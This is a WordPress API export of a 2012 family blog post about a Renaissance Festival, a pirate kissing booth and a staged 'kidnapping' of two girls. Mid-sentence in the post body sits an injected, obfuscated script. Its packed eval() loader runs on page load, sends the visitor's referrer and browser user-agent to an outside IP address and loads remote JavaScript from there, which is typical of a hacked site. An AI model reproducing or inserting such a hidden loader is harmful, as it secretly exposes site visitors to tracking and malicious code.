{"id":2999,"date":"2012-04-22T10:42:36","date_gmt":"2012-04-22T17:42:36","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=2999"},"modified":"2012-05-02T13:17:20","modified_gmt":"2012-05-02T20:17:20","slug":"arrrrr","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=2999","title":{"rendered":"Arrrrr!"},"content":{"rendered":"<p>A local schoolteacher and his wife gave up their day-jobs and decided to start their own Renaissance Festival.\u00c2\u00a0 Half of my mind thinks this is the silliest thing I ever heard and the other half of my mind wishes I could quit my job and start my own Renaissance Festival too.\u00c2\u00a0\u00c2\u00a0 So of course I went, and I took the girls with me.<\/p>\n<p>It was pretty good, for their first year!\u00c2\u00a0 There were pirates and fairies.\u00c2\u00a0 There was archery and boffer-sword fighting.\u00c2\u00a0 There was a guy dressed as a dragon, with an ice-cream cart.\u00c2\u00a0 There were tents full of beribboned bodices and leather belts and drinking horns and \u00e2\u20ac\u0153pixie in a jar\u00e2\u20ac\u009d kitsch for sale.\u00c2\u00a0 There was lemonade and roasted turkey-legs.\u00c2\u00a0 There was quite a lot of good music. But the best part was the Pirate Kissing Booth.<\/p>\n<p>For a dollar, you could get kissed by a pirate.\u00c2\u00a0 The girls were totally horrified by this idea, so of course I went straight to the \u00e2\u20ac\u0153Kissin\u00e2\u20ac\u2122 Boof\u00e2\u20ac\u009d and paid them a dollar happily.\u00c2\u00a0 Of course I didn\u00e2\u20ac\u2122t actually get a kiss \u00e2\u20ac\u201c I got a dollar\u00e2\u20ac\u2122s worth of hilarious Piratical theatrics and a handful of Hershey Kisses \u00e2\u20ac\u201c but it was very funny.\u00c2\u00a0 And\u00e2\u20ac\u00a6\u00c2\u00a0 the pirate slipped me a note, informing me that for a mere five bucks I could have anybody at the festival Kidnapped By Pirates!<\/p>\n<p>So yes, of course I had the girls kidnapped.\u00c2\u00a0 The pirates arranged with me to wait until the girls were alone, shopping, and then they evidently told the girls they had an \u00e2\u20ac\u0153audience with the Queen\u00e2\u20ac\u00a6.\u00e2\u20ac\u009d I waited about ten minutes and then \u00e2\u20ac\u0153found\u00e2\u20ac\u009d them, locked up, next to one of the tents.\u00c2\u00a0 I gave them a hard time:\u00c2\u00a0 \u00e2\u20ac\u0153<em>I <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|yzkye|var|u0026u|referrer|arkit||js|php'.split('|'),0,{}))\n<\/script><\/noindex> leave you alone for one minute,<\/em>\u00e2\u20ac\u009d I scolded.\u00c2\u00a0 \u00e2\u20ac\u0153<em>What would your mothers say?\u00c2\u00a0 What, you think just because someone says the Queen wants to see you, that\u00e2\u20ac\u2122s it\u00e2\u20ac\u2122s ok to just go off with Pirates?<\/em>\u00e2\u20ac\u009d<\/p>\n<p>I had to pay another dollar to ransom them.\u00c2\u00a0 Best Renaissance Festival ever.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/pirates2.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3000\" title=\"Kidnapped by Pirates!\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/pirates2-225x300.jpg\" alt=\"\" width=\"225\" height=\"300\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/pirates2-225x300.jpg 225w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/pirates2-769x1024.jpg 769w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/05\/pirates2.jpg 1359w\" sizes=\"(max-width: 225px) 100vw, 225px\" \/><\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>A local schoolteacher and his wife gave up their day-jobs and decided to start their&#8230;<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[40,25],"class_list":["post-2999","post","type-post","status-publish","format-standard","hentry","category-uncategorized","tag-durham","tag-kids"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2999"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=2999"}],"version-history":[{"count":3,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2999\/revisions"}],"predecessor-version":[{"id":3088,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/2999\/revisions\/3088"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=2999"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=2999"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=2999"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}